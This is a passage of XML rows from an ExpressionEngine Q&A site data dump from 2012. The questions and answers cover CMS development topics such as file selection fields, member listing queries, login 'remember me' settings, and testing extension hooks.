  <row Id="122" PostTypeId="1" CreationDate="2012-11-20T20:37:42.747" Score="5" ViewCount="186" Body="&lt;p&gt;I’m stuck into something about File and Relationship and looking for help. I’m wondering if there is a way in EE2 to have something like Playa but for file relationship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I have a bunch of images updated on a folder “my_images” via the File Manager. I would like to get a field on a channel that could list all the files of that specific folder so admins could pick one of already stored images. The same way for instance, Playa is doing when you want to create a relation between an entry to another entry. But in that case it would be between a file and an entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are numerous ways to handle that using channel images for instance but the thing is we already have a bunch of images stored on the folder “my_image” uploaded via the file manager plus, we don’t really want to have an “Upload” functionality on the channel entry. Only a way to select a stored image of the folder “my_image” that would create a relationship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone knows something about it, a module or a direction to look into, it would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="137" LastActivityDate="2012-11-28T20:10:03.440" Title="Relate Files like Playa fields" Tags="|playa|fields|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="123" PostTypeId="1" AcceptedAnswerId="125" CreationDate="2012-11-20T20:54:02.940" Score="2" ViewCount="197" Body="&lt;p&gt;When trying to access a member profile page using the trigger url (e.g. mysite.com/profile) I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The member profile you requested is currently not available&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've checked all the things I can think of. I have seen it once before on a site but given that the normal EE sites I build have very limited membership features (i.e. just the site admins) and I normally turn off member profiles/obfuscate the url I'm at a loss to work out why this is happening. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone encountered this problem before and found a fix?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2012-11-20T23:08:11.220" Title="Error when trying to access member profile page" Tags="|error|members|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="124" PostTypeId="2" ParentId="122" CreationDate="2012-11-20T20:54:23.953" Score="4" Body="&lt;p&gt;You could use &lt;a href=&quot;http://www.eec.ms/add-ons/mx-select-plus&quot; rel=&quot;nofollow&quot;&gt;MX Select Plus&lt;/a&gt; to accomplish this. Then in the settings for that custom field use the DB request and run a query like below. Make sure to define the &lt;code&gt;upload_location_id&lt;/code&gt;. You may need to modify the query to your needs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT file_id AS option_name, &#xA;file_name AS option_label&#xA;FROM exp_files &#xA;WHERE upload_location_id = X &#xA;ORDER BY file_name ASC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="104" LastEditDate="2012-11-28T19:24:28.393" LastActivityDate="2012-11-28T19:24:28.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="125" PostTypeId="2" ParentId="123" CreationDate="2012-11-20T20:59:10.393" Score="7" Body="&lt;p&gt;If I recall correctly, the trigger itself is not enough - you need to append your action to the last segment&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least, thats what I figured to be the problem when I had this. I had to go to /profiles/login/ and /profiles/profile/ etc and then this worked fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although this could be a bug - but is the way that I've done it.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2012-11-20T20:59:10.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="126" PostTypeId="1" AcceptedAnswerId="129" CreationDate="2012-11-20T21:57:56.310" Score="6" ViewCount="200" Body="&lt;p&gt;I want to display all entries from a specific channel that has a specific related entry tied to it. But &lt;code&gt;search:field_name=&lt;/code&gt; doesn't apply.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2012-11-21T17:52:59.753" Title="How can I search channel entries based on related entries, when search:field_name= doesn't apply to those fields?" Tags="|search|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="127" PostTypeId="2" ParentId="126" CreationDate="2012-11-20T22:06:02.687" Score="2" Body="&lt;p&gt;I would approach it this way, though I haven't tested this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would list out the entry that everything is related to by using the entry_id paramater and then within that entry use &lt;a href=&quot;http://expressionengine.com/user_guide/modules/channel/relationships.html#reverse-related-entries-tag-pair&quot; rel=&quot;nofollow&quot;&gt;Reverse Related Entries&lt;/a&gt;. The code sample in the docs linked should get you there.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-20T22:06:02.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="128" PostTypeId="2" ParentId="119" CreationDate="2012-11-20T22:11:44.343" Score="0" Body="&lt;p&gt;Using &lt;a href=&quot;http://fuckyeahmarkdown.com/&quot; rel=&quot;nofollow&quot;&gt;http://fuckyeahmarkdown.com/&lt;/a&gt; with the readability option turned on may get you much of the way to getting just the content without the structure imported in markdown format.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2012-11-20T22:11:44.343" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="129" PostTypeId="2" ParentId="126" CreationDate="2012-11-20T22:50:27.597" Score="5" Body="&lt;p&gt;Have you tried using the query module instead of the channels module? I've done a lot of fancy stuff. You could also try dynamic parameters instead of search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CreateSean's response is a good way to go through it as well :)&lt;/p&gt;&#xA;" OwnerUserId="59" LastActivityDate="2012-11-20T22:50:27.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="130" PostTypeId="2" ParentId="123" CreationDate="2012-11-20T23:08:11.220" Score="3" Body="&lt;p&gt;You do need that last segment to trigger a specific profile and template. &lt;/p&gt;&#xA;" OwnerUserId="59" LastActivityDate="2012-11-20T23:08:11.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="131" PostTypeId="1" AcceptedAnswerId="135" CreationDate="2012-11-20T23:30:36.153" Score="3" ViewCount="185" Body="&lt;p&gt;Is there a way to store separate first / last name fields in the Exp:resso store billing name field? &lt;/p&gt;&#xA;" OwnerUserId="83" LastEditorUserId="150" LastEditDate="2012-11-21T00:37:37.337" LastActivityDate="2012-11-21T00:37:37.337" Title="Separate First Name/Last Name fields in Exp:resso Store Billing Name field?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="132" PostTypeId="2" ParentId="98" CreationDate="2012-11-20T23:40:47.520" Score="3" Body="&lt;p&gt;If it's a memory issue, add &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Increase PHP Memory&#xA;php_value memory_limit 32M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to your .htaccess on the root of the html folder.&lt;/p&gt;&#xA;" OwnerUserId="278" LastActivityDate="2012-11-20T23:40:47.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="133" PostTypeId="1" AcceptedAnswerId="140" CreationDate="2012-11-20T23:48:11.077" Score="10" ViewCount="405" Body="&lt;p&gt;On a site I took over from another developer, I need to output a list of members from multiple member groups (Staff, Editors, Super Admins) but only one Super Admin member needs to show in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current implementation uses an obscure plugin — it might be a custom add-on as I can't find it via Google — to list members in the Staff and Editors groups. The need to show a single member of the Super Admin member is a new requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, I would like to avoid using an exclude by member_id approach — that is filtering by a list of member_ids that I do not want to show. Instead, I would like to include by member_id, so only that one specified member is listed. So more {if member_id == &quot;&quot;} and not {if member_id != &quot;}, but with the need to show all members in the other two groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going that route, as new Super Admins are added (which is very infrequently) I won't have to revisit the project to add yet another member_id exclusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but an include by member_id, so only a specific Super Admin will show in the list. That way, as new Super Admins are added (which is very infrequently) I won't have to revisit the project to add another exclusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2012-11-21T01:52:23.790" LastActivityDate="2012-12-01T22:07:28.940" Title="Filtering Member List from Multiple Member Groups?" Tags="|members|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="134" PostTypeId="2" ParentId="122" CreationDate="2012-11-20T23:56:20.127" Score="3" Body="&lt;p&gt;If having the upload functionality is not a killer then you could accomplish this quite easily with SafeCracker File. Of course if you are wanting to prevent any further uploads then this won't be an option without altering the fieldtype (which wouldn't be too hard).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing ft.safecracker_file.php and replacing line 77 will remove the upload option from the fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have commented out the line below and added a line to prevent PHP notices.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$vars = array(&#xA;        'data' =&amp;gt; $data,&#xA;        'hidden' =&amp;gt; form_hidden($this-&amp;gt;field_name.'_hidden', $data),&#xA;        //'upload' =&amp;gt; form_upload($form_upload),&#xA;        'upload' =&amp;gt; '',&#xA;        'placeholder_input' =&amp;gt; form_hidden($this-&amp;gt;field_name, 'NULL'),&#xA;        'remove' =&amp;gt; form_label(form_checkbox($this-&amp;gt;field_name.'_remove', 1).' '.lang('remove_file')),&#xA;        'existing_input_name' =&amp;gt; $this-&amp;gt;field_name.'_existing',&#xA;        'existing_files' =&amp;gt; $this-&amp;gt;existing_files($this-&amp;gt;settings['safecracker_upload_dir']),&#xA;        'settings' =&amp;gt; $this-&amp;gt;settings,&#xA;        'default' =&amp;gt; FALSE,&#xA;        'thumb_src' =&amp;gt; $thumb_src&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2012-11-21T00:06:10.920" LastActivityDate="2012-11-21T00:06:10.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="135" PostTypeId="2" ParentId="131" CreationDate="2012-11-21T00:29:05.407" Score="4" Body="&lt;p&gt;You can use a custom order field for this (although it won't then automatically follow the &quot;shipping same as billing&quot; setting, so you would need to implement that using javascript).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also an extension on Devot:ee which does this: &lt;a href=&quot;http://devot-ee.com/add-ons/store-firstname-lastname&quot; rel=&quot;nofollow&quot;&gt;Store: Firstname/Lastname&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not used the extension, but if anyone has perhaps they could post their experience using it here.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-21T00:29:05.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="136" PostTypeId="1" AcceptedAnswerId="139" CreationDate="2012-11-21T00:53:29.193" Score="5" ViewCount="791" Body="&lt;p&gt;I'm sure that this question/issue has been resolved some way because I've seen it working on sites like devot-ee, but how can I get the 'Remember Me' functionality working for when user login to the front-end of a site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;~ Lucas&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2012-12-10T18:02:59.147" Title="&quot;Remember Me&quot; functionality" Tags="|ee2|login|core|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="137" PostTypeId="2" ParentId="136" CreationDate="2012-11-21T01:05:36.280" Score="9" Body="&lt;p&gt;Add a checkbox with the name auto_login to your login form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input class=&quot;checkbox&quot; type=&quot;checkbox&quot; name=&quot;auto_login&quot; value=&quot;1&quot; /&amp;gt; Auto-login on future visits&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2012-11-21T01:05:36.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="138" PostTypeId="1" AcceptedAnswerId="153" CreationDate="2012-11-21T01:49:33.820" Score="15" ViewCount="868" Body="&lt;p&gt;I have a Solspace FreeForm 4 form (free version) which I need to submit using Ajax. I can handle all the field validation in my JS but how do I handle a captcha error? &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="22" LastEditDate="2012-11-21T12:10:11.617" LastActivityDate="2016-12-06T16:11:21.310" Title="Freefom, Captcha and Ajax Submission" Tags="|ee2|ajax|solspace-freeform|captcha|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="139" PostTypeId="2" ParentId="136" CreationDate="2012-11-21T01:56:09.150" Score="12" Body="&lt;p&gt;If you already have the auto_login field in your login form and it's just not working, you are probably running into a long standing bug where Remember Me just doesn't work consistently or correctly. Here are two possibly related bug reports:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://expressionengine.com/bug_tracker/bug/16355&quot;&gt;http://expressionengine.com/bug_tracker/bug/16355&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://expressionengine.com/bug_tracker/bug/17423&quot;&gt;http://expressionengine.com/bug_tracker/bug/17423&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-11-21T01:56:09.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="140" PostTypeId="2" ParentId="133" CreationDate="2012-11-21T01:59:26.723" Score="8" Body="&lt;p&gt;There are probably multiple ways to accomplish this but the &lt;a href=&quot;http://expressionengine.com/user_guide/modules/query/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Query module&lt;/a&gt; has really become my go-to when there are specialized requirements for the data I want to display, or when there aren't obvious ways to do something with regular EE tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of what I think you are asking for. Show all the members for a couple member groups (add more if needed) and also for a single suepradmin, selecting that member by id.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&#xA;    &quot;SELECT screen_name, group_title&#xA;    FROM exp_members&#xA;    JOIN exp_member_groups ON exp_member_groups.group_id = exp_members.group_id&#xA;    WHERE exp_members.group_id = 6 OR exp_members.group_id = 7 OR exp_members.member_id = 1&quot;&#xA;}&#xA;    &amp;lt;li&amp;gt;{screen_name}, {group_title}&amp;lt;/li&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would output something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;Willie Nelson, Super Admins&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Johnny Cash, Staff&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Merle Haggard, Staff&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Doc Watson, Editors&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Ralph Stanley, Editors&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been mentioned in the comments below, and in &lt;a href=&quot;https://expressionengine.stackexchange.com/a/199/22&quot;&gt;this answer&lt;/a&gt;, that the Query module does not escape data so is unsafe for queries containing user input such as segment data. One of the suggested alternatives is to use the &lt;a href=&quot;http://devot-ee.com/add-ons/activerecord&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Active Record&lt;/strong&gt;&lt;/a&gt; plugin instead, which &lt;em&gt;does&lt;/em&gt; escape data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that in mind, and even though there is no user input in this particular query, here is the same query using the Active Record plugin instead of the Query module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:activerecord&#xA;    select=&quot;screen_name, group_title&quot;&#xA;    from=&quot;members&quot;&#xA;    join=&quot;exp_member_groups&quot;&#xA;    on=&quot;exp_member_groups.group_id = exp_members.group_id&quot;&#xA;    where_in:exp_members.group_id=&quot;6|7&quot;&#xA;    or_where_in:exp_members.member_id=&quot;1&quot;&#xA;}&#xA;    &amp;lt;li&amp;gt;{screen_name}, {group_title}&amp;lt;/li&amp;gt;&#xA;{/exp:activerecord}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2012-12-01T22:07:28.940" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="141" PostTypeId="1" AcceptedAnswerId="12525" CreationDate="2012-11-21T02:22:36.583" Score="4" ViewCount="737" Body="&lt;p&gt;What are the experiences in building a photo oriented site in EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some really nice plugins out there, like Channel Images or Assets, but they are all oriented around &quot;uploading as you go&quot; and not for serving images from some kind of back-end (like slideshowpro director or similar).&#xA;For myself and fellow photographers the input would be extremly useful around how others might have solved this.&lt;/p&gt;&#xA;" OwnerUserId="43" LastEditorUserId="77" LastEditDate="2012-11-21T10:50:02.603" LastActivityDate="2013-08-06T17:46:54.617" Title="Building photo-sites with EE" Tags="|image-galleries|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="142" PostTypeId="2" ParentId="141" CreationDate="2012-11-21T02:42:59.473" Score="2" Body="&lt;p&gt;We typically just use either Channel Images, Assets, or in the past a Matrix field with File fields inside of it, coupled with one of the jQuery plugins that works based on a set of markup. You then read the selected module's data for the current entry out, and insert a bunch of &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt;s in a &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;s or whatever the given jQuery plugin expects, then style as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't feel that there is really a one size fits all approach for this kind of thing, you need to find a jQuery plugin that has the behavior that you want, then work to couple it with your chosen backend module that stores the imagedata.&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="104" LastEditDate="2012-11-29T00:25:36.360" LastActivityDate="2012-11-29T00:25:36.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="143" PostTypeId="2" ParentId="141" CreationDate="2012-11-21T02:45:50.847" Score="5" Body="&lt;p&gt;I'm a huge fan of SlideShow Pro Director!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure there is anything out there off the shelf right now, like an add-on for example though, I hope I'm wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, have you considered using SSP Director along with it's DirectorPHP classes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could build your own add-on (recommended) or use PHP templates and build out your own gallery using their classes/methods etc and just use Director for the image handeling uploading/editing side of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remember right they are using Cake PHP for their API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get more familiar with it here in their docs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.slideshowpro.net/SSPdir/API-DirPHP-Getting-Started&quot;&gt;http://wiki.slideshowpro.net/SSPdir/API-DirPHP-Getting-Started&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have some examples here of how to use it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.slideshowpro.net/SSPdir/API-DirPHP-Recent-Images-Example&quot;&gt;http://wiki.slideshowpro.net/SSPdir/API-DirPHP-Recent-Images-Example&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you can download DirectorPHP from &lt;a href=&quot;http://slideshowpro.net/account_center/member.php&quot;&gt;your account center&lt;/a&gt; once you've logged in. Not positive if you need to purchase Director first or not, however, I'm pretty sure to connect to Diretor from DirectorPHP you will need a key from Director settings itself and add it to the DirectorPHP.php file like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Fill in your API key here. It can be found on your Director preferences pane,&#xA;# under the &quot;About your install&quot; section.&#xA;public $api_key = 'your-api-key-goes-here';&#xA;&#xA;# Path to your Director install&#xA;# This can also be found on your preferences pane, below the API key        &#xA;public $path = 'your-api-path-key';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: the above code is from DirectorPHP 1.5 beta and may differ from the non-beta version.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2012-11-21T03:47:17.560" LastActivityDate="2012-11-21T03:47:17.560" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="144" PostTypeId="2" ParentId="71" CreationDate="2012-11-21T04:05:10.050" Score="7" Body="&lt;p&gt;In addition to CAPTCHA, you might want to take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/vz-bad-behavior&quot;&gt;VZ Bad Behavior&lt;/a&gt; - it will block known spammers from the entire site. Give it a look; I've used it and had great success with it.&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2012-11-21T04:05:10.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="145" PostTypeId="1" AcceptedAnswerId="147" CreationDate="2012-11-21T07:36:09.443" Score="4" ViewCount="166" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://www.krea.com/helpdesk&quot; rel=&quot;nofollow&quot;&gt;KREA HelpDesk plugin&lt;/a&gt;. Sometimes when I send a response I want to attach an updated file for the customer to test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to attach a PHP file to the ticket, I get the message &quot;Error: This file type is not allowed&quot;. I can understand the security issue here, files shouldn't be uploaded to the server with the php extension because users could run them. However:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There are ways around this, if the file was uploaded with a *.bin extension or something it would mitigate the security issue.&lt;/li&gt;&#xA;&lt;li&gt;If I reply to ticket via email and attach a PHP file it works fine.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've already tried disabling the notorious &quot;Apply XSS Filtering to uploaded files&quot; setting in EE. Has anyone else run into this? Is it a HelpDesk problem or an EE problem? Has anyone found a solution to let HelpDesk/EE accept *.php uploads?&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-24T07:19:08.817" Title="KREA HelpDesk plugin won't let me attach PHP files" Tags="|uploads|attachment|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="146" PostTypeId="2" ParentId="22" CreationDate="2012-11-21T07:52:59.990" Score="7" Body="&lt;p&gt;Chat with the folks at Solspace that will soon have the ability to use &lt;a href=&quot;http://www.solspace.com/software/detail/importer/&quot;&gt;http://www.solspace.com/software/detail/importer/&lt;/a&gt; to convert EE 1 gallery to EE 2. I can't remember the full details at the moment but there was a screenshot on twitter just a bit back showing EE 1 gallery to P&amp;amp;T Assets as an import selection could be other options but they are in a better position to share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &lt;a href=&quot;https://twitter.com/reedmaniac/status/263326523803709440&quot;&gt;https://twitter.com/reedmaniac/status/263326523803709440&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2012-11-21T07:58:06.690" LastActivityDate="2012-11-21T07:58:06.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="147" PostTypeId="2" ParentId="145" CreationDate="2012-11-21T08:04:24.217" Score="5" Body="&lt;p&gt;I'm not sure how KREA Help Desk does its verification for file uploads.  I know that for the core of EE, if you've chosen to allow uploads of all file types, the file then goes through a check to see if the extension shows up in the mimes.php file in the config directory and whether it passed the aforementioned XSS check.  I test uploaded a php file to a directory set to allow all file types, and it went in without a hitch, so either KREA is doing different checks, you're set up to allow a different set of filetypes, or somehow the php extension doesn't show up in your mimes.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's entirely possible that none of that helps you, but I do hope it can point you towards the right answer.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2012-11-24T07:19:08.817" LastActivityDate="2012-11-24T07:19:08.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="148" PostTypeId="1" AcceptedAnswerId="150" CreationDate="2012-11-21T09:39:39.187" Score="13" ViewCount="773" Body="&lt;p&gt;I'm about to embark on writing a new extension for the Ecommerce module &quot;Store&quot; though this should relate to any extension hook.  I am planning to &quot;hook&quot; into &quot;store_order_complete_end&quot; in order to add in some member/user data after an order is complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My core question, is how can I test this extension, without having to go through actually running through creating a cart, then registering the order, faking payment, etc on the front end which will become a rather tedious task each time I want to test my code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way in either EE template code, or PHP / Plugin code to &quot;fire&quot; a hook, to then &quot;fire&quot; my code if that makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Geoff&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="16" LastEditDate="2012-11-29T22:08:01.320" LastActivityDate="2014-07-18T13:31:39.510" Title="Testing Extensions / Calling Hooks" Tags="|php|expresso-store|extension|hook|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="150" PostTypeId="2" ParentId="148" CreationDate="2012-11-21T09:56:11.603" Score="19" Body="&lt;p&gt;So, when I'm doing BR related add-ons - I work in isolation a lot of the time only hitting BR once and then using Action ID's to perform the development test work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, first thing you're going to need to do is create your hook as normal and install an empty add-on. You'll need to do this anyway, so it makes sense to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also want to register the same function in your exp_actions table so that you can execute the function via an ?ACT=X ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, assume that $data is the array that's passed in to your extension. In the execution of the function, simply put the following in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// =debug&#xA;header('Content-Type: text/plain; charset=iso-8859-1');&#xA;print_r($data);&#xA;exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;N.B: The header line simply makes the output in a humanreadable with nice formatting - it's technically not required.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you will need to make a trial purchase using the site - but then what will happen, is once it gets to that hook and executes your function and will display the $data array for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now take that resulting $data and store it somewhere - at this point it doesn't matter where as long as you keep storing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where you now start the development. Normally, I'll simply set $data in the top of my function to the value that was output in my first test and then continue with development. You can keep testing the development with this same dataset, just by referencing the &lt;a href=&quot;http://site.com?ACT=X&quot;&gt;http://site.com?ACT=X&lt;/a&gt; URL which points to this function. Once you're then working, you simply substitute the $data value in the head of your function for the dynamically passed one that the hook passes and you're done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couple of Caveats:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;When you've finished testing, make sure you uninstall your add-on, removing the Action from the exp_actions table and then reinstall it without that line of code in the install.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There will be no getting over the issue that you are going to &lt;em&gt;have&lt;/em&gt; to test the add-on with real data, so once you've done your initial build/tests, you'll then have to make lots of test transactions to get it to work - you're going to need to try with variety of data etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18" LastActivityDate="2012-11-21T09:56:11.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="151" PostTypeId="2" ParentId="141" CreationDate="2012-11-21T10:02:29.047" Score="5" Body="&lt;p&gt;If you like SSP Director (as do I, very slick interface, I'd love to see something like that come to the EE control panel), then maybe keep an eye on Koken: &lt;a href=&quot;http://koken.me/&quot;&gt;http://koken.me/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something new developed by the same developer as SSP with a public beta coming soon.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2012-11-21T10:02:29.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="152" PostTypeId="2" ParentId="141" CreationDate="2012-11-21T10:08:31.593" Score="4" Body="&lt;p&gt;Can you start by quantifying some numbers, I've built a few image/gallery'esque sites over time and it all comes down to the numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most used method is similar to a designers portfolio, one channel entry per shoot/location/project, 1 - 20 images per entry - matrix + assets - Add all the jquery/plugin magic you want because your dealing with specific entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're talking 100's of images per &quot;entry&quot; then mega-upload and channel images could be a worthy alternative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, it all comes down to how you want to present and how many images are in each presentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, let us know how you plan to present the info with some objective numbers and a solution will become more obvious :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2012-11-21T10:08:31.593" CommentCount="1" ContentLicense="CC BY-SA 